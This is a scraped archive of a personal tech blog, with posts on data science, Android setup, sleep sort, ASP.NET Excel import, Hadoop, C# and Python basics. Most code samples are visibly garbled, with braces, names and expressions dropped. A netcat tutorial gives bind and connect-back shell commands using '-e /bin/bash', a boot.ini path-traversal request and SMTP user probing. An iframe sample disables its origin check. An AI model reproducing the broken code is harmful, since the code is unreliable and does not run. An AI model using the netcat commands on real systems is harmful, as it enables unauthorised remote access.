Menu Bar

Saturday, October 29, 2016

Data Science - Machine Learning - NLP - Analytics - Decision Supporting System [Grabbed informations from Internet]


The purpose is the biggest factor that dictates what form data science takes, and this is related to the Type A-Type B classification that has emerged (see here: What is Data Science?). Broadly speaking, the categorisation can be summarized as:

  • Data science for people (Type A), i.e. analytics to support evidence-based decision-making
  • Data science for software (Type B), for example - recommender systems as we see in Netflix and Spotify
  2. Expert in Machine Learning/ Statistics 
  3. COMPUTING [Programming/ Distributed Computing/ Software Engineering]
  4. Data Wrangling (Collecting data from different sources, removing noises, making it as a clean data)
  5. another tools like SQL knowledge to query
  6. Business - How to communicate your project with non-technical guys? UI. How will you reach them?
6. Communication / Business Acumen
This should not be understated. Unless you are going into something very specific, perhaps pure research (although let’s face it, there aren’t many of these positions around in industry), the vast majority of data science positions involve business interaction, often with individuals who are not analytically literate.
Having the ability to conceptualise business problems and the environment in which they occur is critical. And translating statistical insights into recommended actions and implications to a lay audience is absolutely crucial, particularly for Type A data science. I was chatting to Yanir about this, and this is how he put it:
“I find it weird how some technical people don't pay attention to how non-technical people's eyes glaze over when they start using jargon. It's really important to put yourself in the listener's/reader's shoes”
Rock Stars
It probably isn’t clear: I have used this heading ironically. No – data scientists are not rock stars, ninjas, unicorns or any other mythical creature. If you are planning on referring to yourself like this, perhaps take a long look in the mirror. But I digress. The point I want to make here is this: there are some data scientists who possess expert level ability in all of the above, and perhaps more. They are rare and extremely valuable. If you have the natural ability and desire to become one of these, then great – you are going to be hot property. But if not, remember: you can specialise in certain areas of data science, and quite often, good teams are comprised of data scientists with different specialities. Deciding what to focus on goes back to your interests and capability, and this leads us nicely to the next chapter in our journey.
“Regardless of education or experience, there’s something more fundamental, which is your nature of curiosity, determination and tenacity. There are so many times when you hit a problem: perhaps the algorithm isn’t performing in the way it needs to, or perhaps the technology is being a pain. Either way, you can study machine learning algorithms or software engineering best practice, but if you’re not really determined, you're going to give up and not get through it”

To provide some much-needed clarification on these terms, machine learning can be viewed as a multi-disciplinary field that grew out of both artificial intelligence/computer science and statistics. It is often seen as a subfield of AI, and while this is true, it is important to recognise that there is no machine learning without statistics (ML is heavily dependent on statistical algorithms in order to work). For a long time statisticians were unconvinced by machine learning, with collaboration between the two fields being a relatively recent development (see statistical learning theory), and it is interesting to note that high dimensional statistical learning only happened when statisticians embraced ML results

“In physics, you naturally learn a lot of what you need in data science: programming, manipulating data, getting the raw data and transforming it in a useful way. You learn statistics, which is important. And crucially: you learn how to solve problems. These are the basic skills needed for a data scientist”

Tuesday, September 13, 2016

Android Setup in Ubuntu 16.04


$ sudo add-apt-repository ppa:webupd8team/java 
$ sudo apt-get update 
$ sudo apt-get install oracle-java8-installer 
 $ sudo apt-get install oracle-java8-set-default

 For UBUNTU 14.04
 sudo apt-get install lib32z1 lib32ncurses5 lib32bz2-1.0 lib32stdc++6 

 For UBUNTU 15.04,15.10 & 16.04 LTS Try this command:
 sudo apt-get install lib32stdc++6

Download Android Unzip and goto bin run ./studio.h in terminal

Friday, June 10, 2016

Sleep Sorting using Bash Script


function f() {
 sleep "$1"
 echo  "$1"

while [ -n "$1" ]
 f "$1" &  shift 

To test:

$ ./ 3 1 1 5 6 2

Sleep Sort Algorithm

Source: I used to run this program

#!/usr/bin/env python

from time import sleep
from threading import Timer

def sleep_sort(values):
        sleep_sort.result = []
        def add1(x):
                print 'Appending value in list -> %d' % x
        mx = values[0]
        for value in values:
                if mx < value: mx = value
                print 'Calling Timer for value = %d' % value
                Timer(value, add1, [value]).start()
        return sleep_sort.result

if __name__ == '__main__':
        x = [3,1,4, 1, 8, 5, 0]
        if sleep_sort(x) == sorted(x):
                print('Sleep sort worked for: ', x)
                print('Sleep sort FAILED for: ', x)

Friday, May 27, 2016

Passing messages from "iframe" to Parent frame in JavaScript

PARENT - JavaScript (Parent.html)
    window.addEventListener('message', function (event) {
        console.log("Hello from -> " +;

        // Ignores messages from untrusted domains.
        //if (event.origin != 'URL of Iframe') return;


IFRAME - JavaScript (child.html)
        function keep_alive() {
            http_request = new XMLHttpRequest();
  'GET', "Child.html");
            parent.postMessage("Refreshing Page in child frame", "*");

        function keep_push() {
            parent.postMessage("Timeout Message", "*");

        setInterval(keep_alive, 1000);
        setTimeout(keep_push, 5000)

        parent.postMessage("child frame (Initial Page Load)", "*");
Soruce Code:

Wednesday, May 25, 2016

Excel to Database - ASP.NET, C#, Webforms ( 9 Steps)

Requirement (Simple POC):

  1. Upload Excel File to Server (
  2. Push the Excel Data to Database Server (MS SQL Server)
  3. Display the data in browser

Steps to accomplish this task:

1. Open Microsoft SQL Server and Create Database named "Excel_to_DB"

 2. Create a Table Schema (Follow anyone method below)

2.1 Method 1 - Creating Design by adding table

2.1 Method 2 - Creating a query and execute it

Copy the following code and paste in query window and execute it

USE [Excel_to_DB]

/****** Object:  Table [dbo].[tb_CompanyFinance]    Script Date: 5/25/2016 4:10:22 PM ******/
DROP TABLE [dbo].[tb_CompanyFinance]

/****** Object:  Table [dbo].[tb_CompanyFinance]    Script Date: 5/25/2016 4:10:22 PM ******/



CREATE TABLE [dbo].[tb_CompanyFinance](
 [Segment] [varchar](50) NULL,
 [Country] [varchar](50) NULL,
 [Product] [varchar](50) NULL,
 [DiscountBand] [nchar](10) NULL,
 [UnitsSold] [int] NULL,
 [ManufacturingPrice] [money] NULL,
 [SalePrice] [money] NULL,
 [GrossSales] [money] NULL,
 [Discounts] [varchar](50) NULL,
 [Sales] [money] NULL,
 [COGS] [money] NULL,
 [Profit] [money] NULL,
 [Date] [date] NULL,
 [MonthNumber] [smallint] NULL,
 [MonthName] [nvarchar](50) NOT NULL,
 [Year] [int] NULL



3. Open Visual Studio 2013 and Create a Webform Project

4. Create a Webform Named "ExcelUpload"

5. Add two connection string in Web.Config under <connecctionStrings> tag
6. Copy the following content into <body> tag im ExcelUpload.aspx

7. Copy the following content into   ExcelUpload.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data.Common;
using System.Data.OleDb;
using System.Data.SqlClient;
using System.IO;
using System.Data;

public partial class ExcelUpload : System.Web.UI.Page
    protected void Page_Load(object sender, EventArgs e)
        MsgAlert.Text = "";
    protected void btnupload_Click(object sender, EventArgs e)
        // Configurable
        string DbName = "Excel_to_DB";
        string TableName = "tb_CompanyFinance";
        string connectionString ="";

        if (FileUploadProduct.HasFile)
            string fileName = Path.GetFileName(FileUploadProduct.PostedFile.FileName);
            string fileExtension = Path.GetExtension(FileUploadProduct.PostedFile.FileName);
            string fileLocation = Server.MapPath("~/Excel/" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + fileName);
            //Check whether file extension is xls or xslx
            if (fileExtension == ".xls")
                connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + fileLocation + ";Extended Properties=\"Excel 8.0;HDR=Yes;IMEX=2\""; 
            else if (fileExtension == ".xlsx")
                connectionString = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" + fileLocation + ";Extended Properties=\"Excel 12.0;HDR=Yes;IMEX=2\"";
                MsgAlert.Text = "Unsupported File Name Extension. \n Upload only xlsx or xls file types.";
                GridView1.DataSource = "";

            //Create OleDB Connection and OleDb Command
            OleDbConnection con = new OleDbConnection(connectionString);
            OleDbCommand cmd = new OleDbCommand();
            cmd.CommandType = System.Data.CommandType.Text;
            cmd.Connection = con;
            OleDbDataAdapter dAdapter = new OleDbDataAdapter(cmd);
            DataTable dtExcelRecords = new DataTable();
            DataTable dtExcelSheetName = con.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, null);
            string getExcelSheetName = dtExcelSheetName.Rows[0]["Table_Name"].ToString();
            cmd.CommandText = "SELECT * FROM [" + getExcelSheetName +"]";
            dAdapter.SelectCommand = cmd;
            DbDataReader dr = cmd.ExecuteReader();
            string sqlConnectionString = @"Data Source=.;Initial Catalog=" + DbName + ";Integrated Security=True";

            // Clearing table contents
            SqlConnection sql_con = new SqlConnection(sqlConnectionString);
            string sql = @"DELETE FROM " + TableName +";";
            SqlCommand sql_cmd = new SqlCommand(sql, sql_con);

            SqlBulkCopy bulkInsert = new SqlBulkCopy(sqlConnectionString);
            bulkInsert.DestinationTableName = TableName;
            MsgAlert.Text = "Product uploaded successfully";
            GridView1.DataSource = dtExcelRecords;
         catch (Exception ex)
                MsgAlert.Text = ex.Message;

8. Create New folder named "Excel" for keeping the uploaded file into server

9. Build and Run the project. You should get the following output as below

Excel to DB Output
DB output


Download the sample data from here
Excel Data -

Tuesday, April 26, 2016

What is MVC? What's big deal on it?

What is MCV?
MVC stands for Model View Controller. It is a software design pattern or software development methodology.

What is the main objectives of MCV?
1. Promote code usability
2. Implement separation of concerns
  ( For example., If you want to change the user interface, you don't have to change the business logic.
    If you want to change the business logic or query, you don't have to change the UI part.)

Software divided into three main components - MODEL, VIEW and CONTROLLER.

MODEL - The Software logic * Business Rules * Applications Data (data access layer)
  1. It is class. I promise you its just a class file with data property 
  2. It deals with data that user gonna deal it in UI
  3. It is not a database. Just data types handler and holder which can be operated before view.
VIEW - The User interface (presentation layer)

CONTROLLERS - Handles the communication between users and models (Decision Taker - gets data from models and show the appropriate views to users)
* It acts like a server :P

I have referred these concepts from below YOUTUBE link.

Thursday, March 24, 2016

Understanding Hadoop framework and related terms

Hadoop is a distributed computing framework which is more efficient and optimal solution to solve the big-data problems.

Apache Parquet format. It is also creating tables to represent the HDFS files in Impala / Apache Hive with matching schema.

Parquet is a format designed for analytical applications on Hadoop. Instead of grouping your data into rows like typical data formats, it groups your data into columns. This is ideal for many analytical queries where instead of retrieving data from specific records, you're analyzing relationships between specific variables across many records. Parquet is designed to optimize data storage and retriveval in these scenarios. Source:http://quickstart.cloudera/#/tutorial/ingest_structured_data

Apache Sqoop [Sql + hadoop] is a tool that uses MapReduce to transfer data between Hadoop clusters and relational databases very efficiently.

 Sqoop to import the data into Hive but used Impala to query the data.
This is because Hive and Impala can share both data files and the table metadata. Hive works by compiling SQL queries into MapReduce jobs, which makes it very flexible, whereas Impala executes queries itself and is built from the ground up to be as fast as possible, which makes it better for interactive analysis. We'll use Hive later for an ETL (extract-transform-load) workload.
Sqoop structured data into HDFS, transform it into Avro file format(as Avro is a Hadoop optimized file format), and import the schema files for use when we query this data.

Friday, March 11, 2016

Brushing mind with BigData and its problems.

Before getting started with BigData, 

I have to find the answer for what is Analytics and Insights?

This what google says ..

plural noun: analytics
  1. the systematic computational analysis of data or statistics.
    "content analytics is relevant in many industries"
    • information resulting from the systematic analysis of data or statistics.
      "these analytics can help you decide if it's time to deliver content in different ways"

Wiki says..
Analytics is the discovery and communication of meaningful patterns in data. Especially valuable in areas rich with recorded information, analytics relies on the simultaneous application of statistics,computer programming and operations research to quantify performance. Analytics often favors data visualization to communicate insight.
Firms may apply analytics to business data to describe, predict, and improve business performance. Specifically, areas within analytics include predictive analyticsprescriptive analyticsenterprise decision management, retail analytics, store assortment and stock-keeping unit optimization, marketing optimization and marketing mix modelingweb analytics, sales force sizing and optimization, price and promotion modeling, predictive science, credit risk analysis, and fraud analytics. Since analytics can require extensive computation (see big data), the algorithms and software used for analytics harness the most current methods in computer science, statistics, and mathematics.[1]

Analytics vs. analysis[edit]

Analytics is multidisciplinary. There is extensive use of mathematics and statistics, the use of descriptive techniques and predictive models to gain valuable knowledge from data—data analysis. The insights from data are used to recommend action or to guide decision making rooted in business context. Thus, analytics is not so much concerned with individual analyses or analysis steps, but with the entire methodology. There is a pronounced tendency to use the term analytics in business settings e.g. text analytics vs. the more generic text mining to emphasize this broader perspective.[citation needed]. There is an increasing use of the term advanced analytics,[citation needed] typically used to describe the technical aspects of analytics, especially in the emerging fields such as the use of machine learning techniques like neural networks to do predictive modeling.

Now what is statistics?
Statistics is the study of the collection, analysis, interpretation, presentation, and organization of data.[1] In applying statistics to, e.g., a scientific, industrial, or societal problem, it is conventional to begin with a statistical population or a statistical model process to be studied. Populations can be diverse topics such as "all people living in a country" or "every atom composing a crystal". Statistics deals with all aspects of data including the planning of data collection in terms of the design of surveys and experiments.[1]

  1. the capacity to gain an accurate and deep understanding of someone or something.
    "his mind soared to previously unattainable heights of insight"
    apprehensionappreciationcognizancepenetration,acumen, astuteness, perspicacity,
     perspicaciousness, sagacity,sageness, discriminationjudgement, shrewdness,
     sharpness, sharp-wittedness, acuity, acuteness, flair, breadth of view, vision, far-sightedness, prescienceimaginationMore

    • an accurate and deep understanding.
      plural noun: insights

      "his work provides important insights into language use"

What is BigData?
Big data is a buzzword, or catch-phrase, meaning a massive volume of both structured and unstructured data that is so large it is difficult to process using traditional database and softwaretechniques. In most enterprise scenarios the volume of data is too big or it moves too fast or it exceeds current processing capacity.
Despite these problems, big data has the potential to help companies improve operations and make faster, more intelligent decisions. This data, when captured, formatted, manipulated, stored, and analyzed can help a company to gain useful insight to increase revenues, get or retain customers, and improve operations.

Big Data: Volume or a Technology?

While the term may seem to reference the volume of data, that isn't always the case. The term big data, especially when used by vendors, may refer to the technology (which includes tools and processes) that an organization requires to handle the large amounts of data and storage facilities. The term big data is believed to have originated with Web search companies who needed to query very large distributed aggregations of loosely-structured data.

Big Data (huge unstructured data in petabyte and exabyte) has to be analysed  and gain the insights which can be to enhance marketing and sales etc.,
Because big data takes too much time and costs too much money to load into a traditional relational database for analysis, new approaches to storing and analyzing data have emerged that rely less on data schema and data quality. Instead, raw data with extended metadata is aggregated in a data lake and machine learning and artificial intelligence (AI) programs use complex algorithms to look for repeatable patterns. 
Big data analytics is often associated with cloud computing because the analysis of large data sets in real-time requires a platform like Hadoop to store large data sets across a distributed cluster and MapReduce to coordinate, combine and process data from multiple sources.


Monday, January 18, 2016

C# - Accessibility modifiers

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Tabor;

namespace NamespacesAndReferencingAssemblies
    class Program
        private static string k = "";
        static void Main(string[] args)
            Bob bob = new Bob();
            string html = bob.Lookup("");

            string j = "";

            for (int i = 0; i < 10; i++)

                j = i.ToString();

            Console.WriteLine("Outside the scope: " + j);

            Car car = new Car();

            // public method not static
            // public method static 


    class Car
        // function name starts with upper case
        public static void CallMe()
            Console.WriteLine("Static Method");

        // function name starts with upper case
        public void CallMeVoid()
            Console.WriteLine("Void without static mehtod");

        // function name starts with lower case
        private string callmePrivate()
            return "Private a method cannot be called/accessed outside the class";

C# - Classes and Inheritance

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace UnderstandingInheritance
    class Program
        static void Main(string[] args)

            DateTime myDOJ = DateTime.Parse("08/31/2105");


            Car myCar = new Car();
            myCar.Model = "BMW";
            myCar.Make = "745li";
            myCar.Color = "Black";
            myCar.Year = 2005;

            Truck myTruck = new Truck();

            myTruck.Make = "Ford";
            myTruck.Model = "F950";
            myTruck.Color = "Black";
            myTruck.TowingCapacity = 1200;
            myTruck.Year = 2006;


            Maruti myMaruti = new Maruti();

        // static function doesn't need a object to call the function 
        private static void printCarDetails(Vehicle car)
            Console.WriteLine("Here are the car details: {0}", car.formatMe());

    // base class that allows method to be overridden  
    abstract class Vehicle
        public int Year { get; set; }
        public string Model { get; set; }
        public string Make { get; set; }
        public string Color { get; set; }
        public double OriginalPrice { get; set; }
        public abstract string formatMe();

    class Car : Vehicle
        public override string formatMe()
            return String.Format("{0} - {1} - {2} - {3}",

        // allows the derived class to override the method of base class
        public virtual string helloworld()
            Console.WriteLine("This is a method ");
            return "base class virtual";

    class Truck : Vehicle
        public int TowingCapacity { get; set; }

        // to override the base class methods
        public override string formatMe()
            return String.Format("{0}   -  {1} - {2} Towing units",

    class Maruti : Car
        // overriding the base class method
        public override string helloworld()
            return "derived class overridden ";


C# - Understanding the basics

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace UnderstandingCsharpBasics
    class Program
        static void Main(string[] args)
            // 1
            // Instruction ignore a line of code
            // Simply a comment line
            // C# is a language and it always ends with punctuations ; 

            Console.WriteLine("Hello, World!");

            // 2
            int x = 7;
            string y = "5";
            string myFirstTry = x.ToString() + y;   //int to stringS
            int mySecondTry = x + int.Parse(y);    // string to int

            // conditional 

            Console.WriteLine("Please type something and press the Enter key");
            string userValue1;
            userValue1 = Console.ReadLine();
            Console.WriteLine("You have typed - " + userValue1);

            string message = "";

            Console.WriteLine("Would you prefer what is behind door number 1, 2, or 3?");
            string userValue = Console.ReadLine();

            if (userValue == "1")
                message = "You won a new car!";
            else if (userValue == "2")
                message = "You have won a new boat!";
            else if (userValue == "3")
                message = "You won a new cat!";
                message = "Sorry, we didn't understand. You lose!";

            // 4  
            // inline conditional operator
            string message1 = (userValue == "1") ? "Boat " : "strand of lint ";
            Console.WriteLine("You have won a {0}", message1);

            // iterations 
            for (int i = 0; i < 10; i++)
                //  Console.WriteLine(i.ToString());
                if (i == 7)
                    Console.WriteLine(" Found Seven !");

            // 6
            // integer array initlaization 
            int[] numbers = new int[5];

            numbers[0] = 0;
            numbers[1] = 23;
            numbers[2] = 45;
            numbers[4] = 67;
            numbers[3] = 4;

            //Index out of array error 
            //numbers[5] = 7;

            // one line array initialization 
            int[] numberss = new int[] { 4, 8, 15, 16, 23, 42 };

            Console.WriteLine("Length of the array is {0}", numberss.Length);

            // string arrays
            string[] names = new string[] { "Eddie", "Alex", "Micheal", "David Lee" };

            // iterations 
            foreach (string name in names)

            string zig = "you can get what you want out of life" +
                "if you help enough other people get what they want.";

            // character arrays 
            char[] charArray = zig.ToCharArray();

            foreach (char zigChar in charArray)

            string methodValue = superSecretFormula("Vijay");    // Method call
            Console.WriteLine("Method call return value is {0}", methodValue);

             // 8
             // while iterations and readding a file from the text
            StreamReader myReader = new StreamReader("values.txt");   // make sure changed the properties to copy if newer
            string line = "";

            while (line != null) {
                line = myReader.ReadLine();
                if (line != null)

            // 9
            //string myString = "Go to your c:\\drive";
            //string myString1 = "My \"So called\" life";
            //string myString1 = "What if I need \n a new line";
            //string myString1 = string.Format("{0}!", "Bonsai");

            //string myString = string.Format("Make: {0} (Model: {1}) ", "BMW", "760li");
            //string myString = string.Format("{0:C}", 123.45);

            //string myString = string.Format("{0:N}", 123456789); 
            //string myString = string.Format("{0:P}", .123);

            //string myString = string.Format("Phone number: {0:(###) ### - ###}", 1234567890);

            string myString = "";
            for (int i = 1; i < 100; i++)
                //myString = myString + "--" + i.ToString();
                myString += "--" + i.ToString(); 

            // to avoid the recreation of the variable in the memory instance
            StringBuilder myString1 = new StringBuilder();
            for (int i = 0; i < 100; i++)

            string myString = "That Summer we took threes across the board";

            myString = myString.Substring(5, 14);
            myString = "That Summer we took threes across the board";
            myString = myString.ToUpper();
            myString = "That Summer we took threes across the board";
            myString = myString.Replace(" ", "--");

            myString = "That Summer we took threes across the board    ";
            Console.WriteLine("Length before: {0} -- After: {1}", myString.Length, myString.Trim().Length);

            DateTime myValue = DateTime.Now;

            DateTime myBirthday = new DateTime(1992, 2, 8);

            DateTime myBirthday1 = DateTime.Parse("11/05/1990");

            TimeSpan diff = myBirthday1.Subtract(myBirthday);
            Console.WriteLine("Difference is {0}", diff.TotalDays);

            TimeSpan myDiff = DateTime.Now.Subtract(myBirthday1);
            Console.WriteLine("My Total days I am lived is {0}", myDiff.TotalDays);

        // 7
        // Learning methods
        // Outside static void Main()  -> Note it outside main method but inside class

        // camel case for the method name
        private static string superSecretFormula()
            // some cool stuff here
            return "Hello World!";

        // method returns string
        private static string superSecretFormula(string name)
            return String.Format("Hello, {0}!", name);

        // method don't return anything
        private static void void_method()
            Console.WriteLine("Void Method is called ");

Monday, April 13, 2015

Netcat - Swiss Army Knife for TCP/IP


The Netcat tool is known as the Swiss Army knife for TCP/IP connections.
(netcat or nc both are same)

nc -h
netcat -h
man netcat

To verify the ports open in the system manually
# HTTP port 80

netcat -v 80

GET / HTTP/1.1
GET /../../../boot.ini HTTP/1.1

nc -vv 80

# SMTP Port 25

nc -vv 25
VRFY vijayaand
VRFY vijayanand

# Pop3 Port 110
nc -vv pop3
USER Vijay
PASS Nopass
Ok 0 messages

[We also can verify the unknown ports in the system]

Simple Chatting using Netcat
v -verbose
l - listen
p - port number

nc -lvp 1234  (in machine which has the ip

nc 1234 (You can send text to machine as longs it gets interrupted)

Opening the shell in the remote machine using netcat
e - file to execute

1. Way

nc -lvp 1234 -e /bin/bash  (in machine which has the ip

nc 1234

2. Another way

nc -lvp 1234  (in machine which has the ip

nc 1234  -e /bin/bash

sending files via netcat

nc -lvp 1234 > netcat_recv_file

nc 1234 < netcat_send_file

> - to receive the content
< - send the content

Tuesday, March 31, 2015

Easter Egg inside Python - Design philosophies underlying python

import this
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!

Sunday, March 29, 2015

Files in Python

#!/usr/bin/env python

# Just for practicing the file operation in python

def file_basics():
    print ' File Operations\n', '*' * 80

    types_of_file = """
    Text Files represent content as normal str strings, perform unicode and decoding automatically (plain)
    Examples: .txt is a plain file
    Binary Files represent content as special bytes string type and allows program to access the content unaltered \n
    Example: .wav, .exe, .mp3 all are binary files
    (Python handles both 8-bit text and binary data and a special string type)
    print types_of_file

    # Handling Text Files

    # Writing the content to a new file
    myfile = open('myfile.txt', 'w')
    myfile.write('hello text file \n')
    myfile.write('\n good bye, sweet dreams :P sleep tight \n')
    myfile.flush()      # Writes the content from the buffer (OS) to the disc

    print '- - ' * 25
    # Reading the Content from the file
    myfile = open('myfile.txt', 'r')  # Default 'r'  read mode only
    print myfile.readline()
    print myfile.readline()     # Reading line by line
    print myfile.readline()

    print '- - ' * 25

    # Reading all at once
    content = open('myfile.txt').read()
    print content.rstrip()

    print '= = ' * 25
    # Reading the file content using the iterator
    for line in open('myfile.txt'):
        print line

    print '= = ' * 25

    print r'c:\Python33\Lib\'    # Raw String as a input

    # Handling Binary Files
    with open('data.bin', 'wb') as bin_file:

    data = open('data.bin', 'rb').read()
    print "Binary data = ", data

    print eval('[1, 2, 4]')  # eval() converts the string into any object type

def lib_pickle():
    print "\n Pickle is used to dump the any objects into a file \n", '_' * 80

    F = open('datafile.pk1', 'wb')
    D = {'a': 1, 'b': 2}

    import pickle

    F = open('datafile.pk1', 'rb')
    E = pickle.load(F)
    print E
    print "\n actual dump is ", open('datafile.pk1', 'rb').read()

def lib_struct():
    print "\n struct is used to pack and unpack the binary files \n", '_' * 80

    print 'Writing the Data'
    F = open('data.bin', 'wb')
    import struct
    data = struct.pack('>i4sh', 7, b'spam', 8)
    print data

    print "\n Reading the data"
    F = open('data.bin', 'rb')
    data =
    print data
    values = struct.unpack('>i4sh', data)
    print values

def main():

if __name__ == '__main__':

Saturday, March 28, 2015

List and Dict in Python

#!/usr/bin/env python

def lists_examples():
    print 'List examples in Python\n', '======================================'

    L = []
    L = ['abc', 123, 1.23, {}]
    L = ['Bob', 40.0, ['dev', 'mgr']]
    L = list('spam')
    L = list(range(-4, 4))
    print L
    L = [x for x in 'vijay' if x in list('aeiou')]
    print L

    print 'x' in L

    print L
    L.pop(1)   # position based 'value' removing
    print L
    L.extend(['v', 'j', 'y'])
    L.remove(4)     # search based 'value' removing
    print L

    import random
    print L
    print ''.join(L)
    print ''.join(L)
    print ''.join(L), L

    del L[0]
    print L
    L = list(map(ord, 'abcdefghijklmnopqrstuvwxyz'))
    print L, '\n'

def dict_examples():
    print 'Dictinary Examples (Mini Database)\n', '======================================'

    # Different method for creating the dictionary values
    D = {}
    D = dict(name='vijay', age=24)
    D = dict([('name', 'vijay'), ('age', 40)])

    D = {char: ord(char) for char in 'abcdefghijklmnopqrstuvwxyz'}
    print D, '\n'
    D = {'name': 'Vijay', 'age': 40, 'job': 'Engineer'}
    print "dict = ", D

    print "Dict keys to list ", list(D.keys())   # List Conversion
    print "Dict  to list ", list(D.items())

    D2 = {'company': 'None', 'location': 'IN'}
    D.update(D2)     # Merge Keys

    D['new_field'] = 'Searching'   # Adding or updating the values
    print D

    del D['new_field']

    print D.get('name')   # Fetching
    print D.pop('name')   # Removing

    print "keys = ", D.keys()
    print "values = ", D.values()
    print "items = ", D.items()

    dict_using_zip = dict(zip(['name', 'new_field', 'age', 'job', 'location', 'company'], ['Vijay', 'Searching', 40, 'Engineer', 'IN', 'None']))
    print 'New = ', dict_using_zip, '\n'

    dict_using_zip.clear()    # Clearing all values
    print dict_using_zip

def main():

if __name__ == '__main__':

Strings in Python

#!/usr/bin/env python

def main():
    print int('5')
    print ord('s')
    print chr(115)
    print bin(13)
    print hex(26)
    print hex(255)
    print oct(255)
    print bin(255)

    print int('377', 8), int('FF', 16)

    print str('Vijay')
    print repr('Vijay')  # Removed in 3.X python

    line = "The knights who say N1!\n"
    print line.endswith('\n')
    print line.startswith('The'), '\n'

    print '%(qty)d more %(food)s' % {'qty': 1, 'food': 'Dosai'}, '\n'

    #   Method 1 of formatting output
    values = {}
    values = dict(name='Vijay', job='testing', age=24)
    print 'Hi Guys, My name is %(name)s and age is %(age)d. My Current job is %(job)s' % values, '\n'

    #   Method 2 of formatting
    template = '{0}, {1} and {2}'
    print template.format('spam', 'ham', 'eggs')

    template = '{}, {} and {}'
    print template.format('spam', 'ham', 'eggs')

    template = '{motto}, {pork} and {food}'
    print template.format(motto='spam', pork='ham', food='eggs')

if __name__ == '__main__':

Examples for Sets in Python

#!/usr/bin/env python

Set - an unordered collection of unique and immutable objects

def main():
    x = set('abcdef')
    y = set('bdexyz')

    print "X = ", x
    print "Y = ", y, '\n'

    print "Difference = ", x - y
    print "Union = ", x | y
    print "Intersection = ", x & y
    print "Symmetric Difference (XOR) = ", x ^ y
    print "Superset = ", x > y
    print "subset = ", x < y, '\n'

    for item in set('abc'):
        print item * 3

    print "'e' in x = ", 'e' in x, '\n'

    z = x.intersection(y)
    print z
    z.add('SPAM')   # insert one item
    print z
    z.update(set(['X', 'Y']))   # inserts multiple items
    print z
    print z, '\n'

    S = {i for i in range(1, 4)}
    print S
    print "Type = ", type(S)
    print "Union = ", S | set([3, 4])
    print "Union = ", S.union([3, 4])
    print "Intersection = ", S.intersection((1, 3, 5))
    print "Subset = ", S.issubset(range(-5, 5)), '\n'

    print "Union = ", {1, 2, 3} | {4, 5}
    print "Union = ", {1, 2, 3}.union([3, 4])
    print "Intersection = ", {1, 2, 3}.intersection((1, 3, 5))
    print "Subset = ", {1, 2, 3}.issubset(range(-5, 5)), '\n'

    S = 'spammapaas'    # Strings
    S = set(S)
    print S
    print S
    S.add((1, 2, 3))  # No list or dict but tuple is ok
    print S, '\n'

    # Sets are used to remove the duplicates
    L = [1, 1, 2, 5, 4, 3, 7, 8, 2, 5, 9, 8, 0]
    print "L = ", L
    print "set(L) = ", set(L)
    L = list(set(L))
    print "L = ", L, '\n'

    print set(dir(bytes)) - set(dir(bytearray))
    print set(dir(bytearray)) - set(dir(bytes))

if __name__ == '__main__':

Friday, March 27, 2015

First Class in Python

#!/usr/bin/env python

class Worker:
    def __init__(self, name, pay): = name = pay

    def last_name(self):

    def give_raise(self, percent): *= (1.0 + percent)

def main():
    bob = Worker('Bob Smith', 500000)
    sue = Worker('Sue Jones', 650000)

    print "Bob's last name is ", bob.last_name()
    print "Sue's last name is ", sue.last_name()

    print "Sue pay is ",

if __name__ == '__main__':

Learning Python in a one day (Basics)

#!/usr/bin/env python

# I have learned these codes from Learning Python O'reilly
# Python 2.7


    #! is often called hash bang or shebang 
    /user/bin/python - path of the python executable
    #!/usr/bin/python - Unix Styled Executable Scripts (If u know exact path of the python binary)
    #!/usr/bin/env python - No matter python lives on your system


def about_python():
    @desc Some facts about the python
    interesting_python = """
                    Few Interesting facts about the Python
                    [*] The Standard implementation of Python is written in portable ANSI C
                        (Python code runs close to C speed anyhow that involves C code in the interpreter)
                    [*] Written By Guido Van Rossum
                        (Python named after comedy series 'Monty Python's Flying Circus')
                    [*] Python is the Object-Oriented Scripting Language.(Python sees the everything as a object)
                    [*] Python is a general purpose programming language that blends procedural (statement-based),
                        functional and object-oriented (class-based) paradigms
                    [*] Top Down Approach - step by step control flow
                    [*] Python Source code is compiled to the intermediate format called 'Byte Code' (using interpreter)
                        then routed to 'Python Virtual Machine' (PVM) runtime engine of python

                        | Python(.py) --> Byte Code (.pyc) --> Python Virtual Machine |

                    [*] Byte Code (Low level ) provides the portability, as it a platform independent
                    [*] Python code must always be run by this interpreter
                    [*] Python's standard library comes with POSIX bindings and support for all Operating Systems
                        (Portable Operating Systems Executable)
                    [*] Apart from the polymorphism, operator overloading and multiple inheritance
                        Python includes generators, comprehensions, closures, maps, decorators, anonymous functions
                        lambdas and first class functions objects

                    [*] PowerFul tool, Mixable and relatively easy to use
                        [+] Dynamic Typing (auto types identification)
                        [+] Automatic Memory Management
                        [+] Programming in the large support
                        [+] Built-in Object types
                        [+] Built-in tools
                        [+] Library utilities
                        [+] 3rd party utilities

    print interesting_python

    company_uses_python = """
                      Famous Company or Organization that uses Python Today
                      [*] Google
                      [*] DropBox
                      [*] Raspberry Pi
                      [*] Google App Engine
                      [*] Maya
                      [*] NASA (Cryptography and Intelligence)
                      [*] Bit Torrent
                      [*] Intel, Cisco, HP, Seagate and Qualcomm (Hardware testing)
                      [*] JP Morgan

    print company_uses_python, '\n'

    python_concepts = """
                    The Python Conceptual Hierarchy
